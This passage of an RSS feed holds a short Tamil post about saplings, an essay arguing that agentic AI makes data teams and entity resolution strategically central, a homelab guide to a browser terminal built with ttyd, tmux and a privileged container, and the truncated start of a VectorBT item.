            <content:encoded><![CDATA[<figure class="wp-block-post-featured-image"><img width="1024" height="571" src="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg?w=1024" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" style="object-fit:cover;" srcset="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg?w=1024 1024w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg?w=150 150w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg?w=300 300w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg?w=768 768w, https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" data-attachment-id="732" data-permalink="https://programmerlife1.wordpress.com/2026/03/08/eengum-marakkanrugal/saplings/" data-orig-file="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg" data-orig-size="1200,669" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="saplings" data-image-description="" data-image-caption="" data-large-file="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg?w=1024" /></figure>


<p class="wp-block-paragraph">ஒரு மரக்கன்று வழங்கும் நிகழ்வில் இருக்கும் மரக்கன்றுகள் என்னை பார்த்து கேட்டன. </p>



<p class="wp-block-paragraph">சும்மாதானே நிற்கிறாய்! எங்களில் ஒருவரை எடுத்து செல் என்றது. </p>



<p class="wp-block-paragraph">மரக்கன்றுகளை வளர்க்க மனமிருக்கிறது ஆனால் வீட்டில் இடமில்லை என்று எவ்வாறு அவைகளுக்கு நான் புரியவைப்பேன்! .</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>raw-quotes</category>
            <category>quotes</category>
            <enclosure url="https://programmerlife1.wordpress.com/wp-content/uploads/2026/03/saplings.jpeg" length="0" type="image/jpeg"/>
        </item>
        <item>
            <title><![CDATA[The Data Team’s Moment: How Agentic AI Is Turning the “Support Function” Into the Strategic Center of the Enterprise]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/the-data-teams-moment-how-agentic</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/the-data-teams-moment-how-agentic</guid>
            <pubDate>Sat, 07 Mar 2026 18:21:26 GMT</pubDate>
            <description><![CDATA[For years, data teams were the quiet backbone nobody appreciated. That is changing — fast.]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!32x6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!32x6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!32x6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!32x6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!32x6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!32x6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png" width="1024" height="608" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a153f584-cf5a-480f-9b05-468816237899_1024x608.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:608,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!32x6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!32x6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!32x6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!32x6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>There&#8217;s a meeting that happens in every organization, usually sometime in Q3 or Q4. A CFO pulls up the budget spreadsheet, squints at the line items, and asks the question that makes every data leader&#8217;s stomach drop: <em>&#8220;What exactly are we getting out of the data team?&#8221;</em></p><p>It&#8217;s an uncomfortable question &#8212; and for a long time, it didn&#8217;t have a clean answer.</p><p>Data teams built pipelines nobody asked about, maintained dashboards that were exported to Excel before anyone actually read them, and spent political capital defending headcount to executives who viewed them as a sophisticated cost center. As Joe Reis, author of <em>Fundamentals of Data Engineering</em>, <a href="https://joereis.substack.com/p/joes-nerdy-weekend-reads-11">put it plainly</a>: <em>&#8220;Data teams will continue struggling to justify their value as long as data in Enterpriseland is a back-office function.&#8221;</em></p><p>That was the reality for most of the 2010s and into the early 2020s. Data teams worked in the shadows &#8212; vital infrastructure, but rarely celebrated. They were the plumbers of the modern enterprise: essential when things worked, blamed when things didn&#8217;t, and invisible the rest of the time.</p><p>The era of agentic AI is changing all of that &#8212; right now, in real time.</p><div><hr></div><h2>The Old Indignity: Fighting for a Seat at the Table</h2><p>The data ROI conversation has long been a recurring humiliation dressed up as a business exercise.</p><p>Unlike sales, whose numbers are on the board every Monday morning, or marketing, which can point to impressions and conversions, data teams have operated in the murky middle. Their impact is indirect &#8212; they help <em>other</em> teams make decisions. As data writer Anna Geller <a href="https://annageller.medium.com/should-you-measure-the-value-of-a-data-team-95c447f28d4a">captured it well</a>: <em>&#8220;Most data teams work as a support function... their involvement in value creation is indirect. You can&#8217;t directly quantify the impact of a new table, dashboard, or pipeline.&#8221;</em></p><p>This indirectness has been weaponized against them at budget time. Data leaders find themselves in a paradoxical position: the team responsible for quantification can&#8217;t quantify itself. Some resort to building internal P&amp;L reports to justify their own existence. Others try charging other departments &#8220;internal fees&#8221; for data services &#8212; a workaround that says more about the dysfunction of how data is valued than it does about the team&#8217;s actual contribution.</p><p>Meanwhile, data stacks keep growing enormous. As <a href="https://www.montecarlodata.com/blog-the-next-big-crisis-for-data-teams/">Monte Carlo&#8217;s blog noted</a>, <em>&#8220;data teams made history as one of the first departments to spin up 8-figure technology stacks with little to no questions asked&#8221;</em> &#8212; a fact that makes them conspicuous targets whenever CFOs start scrutinizing every line item with new intensity.</p><p>The modern data stack is a marvel of engineering. But without a clear, legible link to revenue, it remains a liability in any budget conversation. At least, it has been &#8212; until now.</p><div><hr></div><h2>The Shift Underway: AI Agents Are Looking for a Nervous System</h2><p>Here&#8217;s the thing about agentic AI: it is only as good as the data it runs on.</p><p>This seems obvious, but its implications are still rippling through the enterprise in real time. When a company deploys an AI agent to autonomously manage customer service tickets, optimize supply chains, approve procurement requests, or run financial reconciliations, every decision that agent makes is being built on a data foundation. If that foundation is shaky &#8212; inconsistent definitions, poor lineage, unresolved duplication &#8212; the agent doesn&#8217;t just underperform. It fails loudly, in production, with consequences.</p><p>Robin Sutara, Field CDO at Databricks, is making this organizational implication explicit in <a href="https://www.databricks.com/blog/strategic-priorities-data-and-ai-leaders-2025">Databricks&#8217; 2025 strategic priorities report</a>: <em>&#8220;A successful AI strategy starts with a solid infrastructure. Addressing fundamental components like data unification and governance through one underlying system lets organizations focus their attention on getting use cases into the real-world, where they can actually drive value for the business.&#8221;</em></p><p>The work that data teams have been doing for years &#8212; data quality, entity resolution, governance, lineage, pipeline reliability &#8212; is no longer background noise. It is becoming the prerequisite for the most important initiative in every company.</p><p>The budget conversation is flipping. It&#8217;s no longer <em>&#8220;justify why we need you.&#8221;</em> It&#8217;s <em>&#8220;how fast can you get us AI-ready?&#8221;</em></p><div><hr></div><h2>The Numbers Bearing This Out</h2><p>The scale of the agentic AI wave is making clear why data teams are starting to matter in a way they simply haven&#8217;t before.</p><p><a href="https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025">Gartner predicts</a> that 40% of enterprise applications will be integrated with task-specific AI agents by the end of 2026 &#8212; up from less than 5% today. <a href="https://www.gartner.com/en/articles/intelligent-agent-in-ai">By 2028</a>, at least 15% of work decisions across organizations will be made autonomously by AI agents, up from virtually zero in 2024. And Gartner&#8217;s best-case projection suggests agentic AI could drive approximately 30% of enterprise application software revenue by 2035, surpassing $450 billion.</p><p>The old framing &#8212; tools automate tasks, people make decisions &#8212; is no longer holding. And the people who build, govern, and maintain the data powering this new paradigm are moving from the back office to the top of the boardroom agenda.</p><div><hr></div><h2>The Verizon Test Case</h2><p>Few leaders are articulating this shift as clearly as Kalyani Sekar, Verizon&#8217;s Chief Data Officer. In a <a href="https://www.cdomagazine.tech/data-management/how-verizon-built-a-trusted-data-foundation-for-ai-a-cdos-inside-look">2025 interview with CDO Magazine</a>, she describes the arc of her team&#8217;s work &#8212; and its growing centrality &#8212; with unusual candor:</p><p><em>&#8220;Data quality is foundational to Verizon&#8217;s long-term goals. As we continue to roll out more analytical use cases, from predictive and prescriptive to generative and agentic, it&#8217;s critical that these AI and analytical capabilities, including the reports built on them, are grounded in data that is trustworthy and of the highest quality.&#8221;</em></p><p>Verizon handles petabytes of data daily &#8212; from network devices, customer touchpoints, service channels. The data team&#8217;s job was always to make sense of it and surface insights. Today, that same infrastructure is becoming the operating layer for autonomous AI systems making real-time decisions affecting 140 million wireless retail connections.</p><p>The data team isn&#8217;t changing. <strong>The stakes around its work are.</strong></p><div><hr></div><h2>From Cost Center to Control PlaneFrom Cost Center to Control Plane</h2><p><a href="https://www.mckinsey.com/capabilities/people-and-organizational-performance/our-insights/the-agentic-organization-contours-of-the-next-paradigm-for-the-ai-era">McKinsey&#8217;s 2025 research on the &#8220;agentic organization&#8221;</a> is describing what&#8217;s unfolding as the largest organizational paradigm shift since the industrial revolution. The key insight for data leaders: in this new world, data quality cannot remain a background maintenance task. It needs to be the foundation every AI agent is built on &#8212; before a single workflow goes live.</p><p>Nowhere is this more visceral than in entity resolution &#8212; the problem of making sure your AI actually knows who it&#8217;s dealing with.</p><p>I have been <a href="https://www.learningfromdata.zingg.ai/p/agentic-ai-is-only-as-smart-as-its">watching this play out in real time</a> across industries: <em>&#8220;Agentic AI is the race car. Entity resolution is the track. You wouldn&#8217;t run a Formula 1 machine on gravel and expect to win.&#8221;</em></p><p>The examples are stark. In retail, duplicate customer records lead autonomous agents to dispatch multiple shipments, issue multiple offers, and trigger multiple refunds &#8212; quietly eroding margins at scale. In finance, fraudsters opening several accounts with small name variations go undetected because the fraud-detection AI treats each record as a separate person. In healthcare, a patient known as &#8220;Mary Chen&#8221; at one hospital and &#8220;M. Y. Chen&#8221; at a clinic becomes two different people in the AI&#8217;s world &#8212; and an autonomous care coordinator misses her allergy record before booking a procedure.</p><p>In each case, the AI wasn&#8217;t making bad decisions. It was making confident decisions on bad data. And because agentic systems are autonomous, they don&#8217;t make that mistake once &#8212; they repeat it hundreds or thousands of times before anyone notices.</p><p>Tools like Zingg &#8212; which resolve entities at scale across CRMs, EHRs, billing systems, and data lakes, running natively on Snowflake and Databricks &#8212; are becoming the kind of foundational data infrastructure that determines whether an AI deployment succeeds or silently fails. One bank that placed Zingg&#8217;s entity resolution layer beneath its fraud-detection AI saw fraud detection improve 4x &#8212; without changing the AI model at all. The model didn&#8217;t get smarter. The data it was reasoning on did.</p><p>That&#8217;s the new pitch data leaders are making &#8212; and it&#8217;s a powerful one. AI doesn&#8217;t paper over your data problems. It runs them at scale, in production, with consequences. Every dollar not being invested in data quality is a growing tax on every AI initiative downstream.</p><div><hr></div><h2>What This Means for Data Leaders Right Now</h2><p>The opportunity is real and it is opening &#8212; but it requires a change in posture. Data teams have spent years learning to survive by making themselves useful to whoever controls the budget. The new play is positioning as the precondition for everything the business cares about.</p><p>Some practical realities for data leaders navigating this moment:</p><p><strong>Your backlog is becoming a risk register.</strong> Every unresolved data quality issue, every undocumented pipeline, every inconsistent metric definition is a live failure point for an AI agent that will execute on bad information at machine speed. Frame your roadmap accordingly.</p><p><strong>Entity resolution is becoming a first-class AI problem.</strong> Before an AI agent can act intelligently, it needs to know <em>who</em> it is acting on &#8212; and right now, most enterprise data lakes are full of the same customer, supplier, or patient under a dozen slightly different names. Deduplicating and resolving those identities isn&#8217;t a one-time cleanup job anymore; it&#8217;s an ongoing data foundation that every agentic workflow sits on top of. Teams that are investing in entity resolution infrastructure &#8212; using tools like <a href="https://www.zingg.ai/">Zingg</a> to continuously resolve identities across CRMs, EHRs, and data platforms &#8212; are finding that their AI deployments perform dramatically better, without touching the models at all. The intelligence was always there. The data just wasn&#8217;t ready for it.</p><p><strong>Data governance is becoming AI governance.</strong> The governance frameworks data teams have been building for years &#8212; classification rules, data retention policies, lineage tracking &#8212; are exactly what enterprises now need to keep AI agents grounded in reality.</p><p><strong>The CDO is becoming a critical executive.</strong> The function that once reported to the CIO is increasingly driving the AI strategy conversation alongside the CEO and CFO.</p><p>The <a href="https://www.getdbt.com/resources/state-of-analytics-engineering-2025">dbt Labs 2025 State of Analytics Engineering survey</a> is already showing the shift: 40% of data teams added headcount in the past year &#8212; compared to just 14% the year before. Data budgets are growing too, with 30% of respondents reporting increases versus just 9% in the prior year. The most common complaint is no longer budget cuts &#8212; it&#8217;s that the team can&#8217;t keep pace with the business&#8217;s appetite.</p><p>As dbt Labs CTO Mark Porter <a href="https://www.getdbt.com/blog/ai-driving-surge-in-data-budgets-2025-state-of-analytics-engineering">put it directly</a>: <em>&#8220;As companies increase AI investments, leaders are prioritizing the teams responsible for data quality and governance &#8212; the essential foundation for AI effectiveness.&#8221;</em></p><div><hr></div><h2>The Table Is Turning</h2><p>There&#8217;s something quietly satisfying about watching an industry vindicate itself not through persuasion, but through circumstance.</p><p>Data teams have spent years arguing that their work mattered. They built ROI frameworks and internal P&amp;Ls and political coalitions. They embedded with business units and learned to speak in revenue terms. Some of it worked. Most of it was an uphill grind.</p><p>Now, agentic AI is making the argument for them &#8212; not through rhetoric, but through dependency. The most transformative technology initiative of the decade cannot function without clean data, governed pipelines, and trustworthy infrastructure. And the people building and maintaining those things are, right now, becoming central to the enterprise.</p><p>The data team is no longer supporting the business.</p><p>The business is starting to run on the data team.</p><div><hr></div><p><em>If you found this useful, share it with a data leader who&#8217;s still spending Q4 justifying their existence to a skeptical CFO. Their moment is here &#8212; and it&#8217;s only getting bigger.</em></p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!32x6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f584-cf5a-480f-9b05-468816237899_1024x608.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[A Web Terminal for My Homelab with ttyd + tmux]]></title>
            <link>https://mrkaran.dev/posts/web-terminal-homelab/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/web-terminal-homelab/</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[I wanted a browser terminal at terminal.mrkaran.dev that works from laptop, tablet, and phone without special client setup.
The stack that works cleanly for this is ttyd + tmux.
Architecture#
Browser -> Caddy -> ttyd -> nsenter -> su - karan -> tmux(main)
Two decisions matter most:
ttyd handles terminal-over-websocket behavior well.
-m 1 enforces a single active client, which avoids cross-tab resize contention.
Docker Compose (current)#
services:
  webterm:
    image: tsl0922/ttyd
    container_name: webterm
    restart: unless-stopped
    command: >
      ttyd
        -W
        -p 8080
        -m 1
        nsenter
        -t 1
        -m -u -i -p
        --
        su - karan -c
        "tmux new-session -A -s main"
    privileged: true
    pid: "host"
    networks:
      - public_proxy
Why each flag matters:
-W: writable shell
-p 8080: matches my existing Caddy upstream (webterm:8080)
-m 1: one active client only (no resize fight club)
nsenter ...: real host shell from inside the container
su - karan: correct login environment and tmux config loading
tmux new-session -A -s main: persistent attach/re-attach
Caddy#
terminal.mrkaran.dev reverse proxies to webterm:8080 with TLS via Cloudflare DNS challenge.
Because ttyd uses WebSockets heavily, reverse proxy support for upgrades is essential.
tmux profile for agentic workflows#
I tuned tmux for long-running agent sessions, not just manual shell use.
Long-run defaults#
history-limit 200000
remain-on-exit on
window-size latest
mode-keys vi / status-keys vi
Better operational visibility#
status line shows host + session + path + time
pane border shows pane number + current command
active pane is clearly highlighted
Keybinds I actually use#
Prefix: Ctrl-b
S: create/attach named session
N: create named window
R: rename window
s: session/window picker
y: toggle synchronize-panes
h/j/k/l: pane movement
H/J/K/L: pane resize
Copy/paste that is not annoying#
This was a big pain point, so I added both workflows:
Browser-native copy
Ctrl-b m to turn tmux mouse off
drag-select + browser copy shortcut
Ctrl-b m to turn tmux mouse back on
tmux copy mode
Ctrl-b [ enters copy mode and shows COPY MODE ON
v select, y copy (shows Copied selection)
q or Esc exits (shows COPY MODE OFF)
On mobile, ttyd’s top-left menu (special keys) makes prefix navigation workable.
Security model#
This is tailnet-only behind Tailscale. No public exposure.
Still, the container has privileged: true and pid: host, which is a strong trust boundary.
If you expose anything like this publicly, add auth in front and treat it as high-risk infrastructure.
Result#

The terminal is now boring in the best way: stable, predictable, and fast to reach from any device.]]></description>
            <content:encoded><![CDATA[<p>I wanted a browser terminal at <code>terminal.mrkaran.dev</code> that works from laptop, tablet, and phone without special client setup.</p>
<p>The stack that works cleanly for this is <a rel="external" href="https://github.com/tsl0922/ttyd">ttyd</a> + tmux.</p>
<h2 id="architecture">Architecture<a class="zola-anchor" href="#architecture" aria-label="Anchor link for: architecture">#</a></h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>Browser -&gt; Caddy -&gt; ttyd -&gt; nsenter -&gt; su - karan -&gt; tmux(main)</span></span></code></pre>
<p>Two decisions matter most:</p>
<ol>
<li><code>ttyd</code> handles terminal-over-websocket behavior well.</li>
<li><code>-m 1</code> enforces a single active client, which avoids cross-tab resize contention.</li>
</ol>
<h2 id="docker-compose-current">Docker Compose (current)<a class="zola-anchor" href="#docker-compose-current" aria-label="Anchor link for: docker-compose-current">#</a></h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">ervices</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  w</span><span style="color: light-dark(#22863A, #8DDB8C);">ebterm</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> t</span><span style="color: light-dark(#032F62, #96D0FF);">sl0922/ttyd</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ontainer_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> w</span><span style="color: light-dark(#032F62, #96D0FF);">ebterm</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">estart</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> u</span><span style="color: light-dark(#032F62, #96D0FF);">nless-stopped</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ommand</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">      ttyd</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        -W</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        -p 8080</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        -m 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        nsenter</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        -t 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        -m -u -i -p</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        --</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        su - karan -c</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;tmux new-session -A -s main&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">rivileged</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">id</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ublic_proxy</span></span></code></pre>
<p>Why each flag matters:</p>
<ul>
<li><code>-W</code>: writable shell</li>
<li><code>-p 8080</code>: matches my existing Caddy upstream (<code>webterm:8080</code>)</li>
<li><code>-m 1</code>: one active client only (no resize fight club)</li>
<li><code>nsenter ...</code>: real host shell from inside the container</li>
<li><code>su - karan</code>: correct login environment and tmux config loading</li>
<li><code>tmux new-session -A -s main</code>: persistent attach/re-attach</li>
</ul>
<h2 id="caddy">Caddy<a class="zola-anchor" href="#caddy" aria-label="Anchor link for: caddy">#</a></h2>
<p><code>terminal.mrkaran.dev</code> reverse proxies to <code>webterm:8080</code> with TLS via Cloudflare DNS challenge.
Because ttyd uses WebSockets heavily, reverse proxy support for upgrades is essential.</p>
<h2 id="tmux-profile-for-agentic-workflows">tmux profile for agentic workflows<a class="zola-anchor" href="#tmux-profile-for-agentic-workflows" aria-label="Anchor link for: tmux-profile-for-agentic-workflows">#</a></h2>
<p>I tuned tmux for long-running agent sessions, not just manual shell use.</p>
<h3 id="long-run-defaults">Long-run defaults<a class="zola-anchor" href="#long-run-defaults" aria-label="Anchor link for: long-run-defaults">#</a></h3>
<ul>
<li><code>history-limit 200000</code></li>
<li><code>remain-on-exit on</code></li>
<li><code>window-size latest</code></li>
<li><code>mode-keys vi</code> / <code>status-keys vi</code></li>
</ul>
<h3 id="better-operational-visibility">Better operational visibility<a class="zola-anchor" href="#better-operational-visibility" aria-label="Anchor link for: better-operational-visibility">#</a></h3>
<ul>
<li>status line shows host + session + path + time</li>
<li>pane border shows pane number + current command</li>
<li>active pane is clearly highlighted</li>
</ul>
<h3 id="keybinds-i-actually-use">Keybinds I actually use<a class="zola-anchor" href="#keybinds-i-actually-use" aria-label="Anchor link for: keybinds-i-actually-use">#</a></h3>
<p>Prefix: <code>Ctrl-b</code></p>
<ul>
<li><code>S</code>: create/attach named session</li>
<li><code>N</code>: create named window</li>
<li><code>R</code>: rename window</li>
<li><code>s</code>: session/window picker</li>
<li><code>y</code>: toggle <code>synchronize-panes</code></li>
<li><code>h/j/k/l</code>: pane movement</li>
<li><code>H/J/K/L</code>: pane resize</li>
</ul>
<h3 id="copy-paste-that-is-not-annoying">Copy/paste that is not annoying<a class="zola-anchor" href="#copy-paste-that-is-not-annoying" aria-label="Anchor link for: copy-paste-that-is-not-annoying">#</a></h3>
<p>This was a big pain point, so I added both workflows:</p>
<ol>
<li>
<p><strong>Browser-native copy</strong></p>
<ul>
<li><code>Ctrl-b m</code> to turn tmux mouse <strong>off</strong></li>
<li>drag-select + browser copy shortcut</li>
<li><code>Ctrl-b m</code> to turn tmux mouse back <strong>on</strong></li>
</ul>
</li>
<li>
<p><strong>tmux copy mode</strong></p>
<ul>
<li><code>Ctrl-b [</code> enters copy mode and shows <code>COPY MODE ON</code></li>
<li><code>v</code> select, <code>y</code> copy (shows <code>Copied selection</code>)</li>
<li><code>q</code> or <code>Esc</code> exits (shows <code>COPY MODE OFF</code>)</li>
</ul>
</li>
</ol>
<p>On mobile, ttyd’s top-left menu (special keys) makes prefix navigation workable.</p>
<h2 id="security-model">Security model<a class="zola-anchor" href="#security-model" aria-label="Anchor link for: security-model">#</a></h2>
<p>This is tailnet-only behind Tailscale. No public exposure.</p>
<p>Still, the container has <code>privileged: true</code> and <code>pid: host</code>, which is a strong trust boundary.
If you expose anything like this publicly, add auth in front and treat it as high-risk infrastructure.</p>
<h2 id="result">Result<a class="zola-anchor" href="#result" aria-label="Anchor link for: result">#</a></h2>
<p><img src="https://mrkaran.dev/images/web-terminal-homelab.png" alt="Web terminal in the browser" /></p>
<p>The terminal is now boring in the best way: stable, predictable, and fast to reach from any device.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[VectorBT AI Skills to Build and Backtest Trading Strategies Faster Without Writing a Single Line of…]]></title>
            <link>https://openalgo.medium.com/vectorbt-ai-skills-to-build-and-backtest-trading-strategies-faster-without-writing-a-single-line-of-b8d5418e2088?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/vectorbt-ai-skills-to-build-and-backtest-trading-strategies-faster-without-writing-a-single-line-of-b8d5418e2088?source=rss-cda86e929c3------2</guid>
            <pubDate>Mon, 02 Mar 2026 03:47:20 GMT</pubDate>
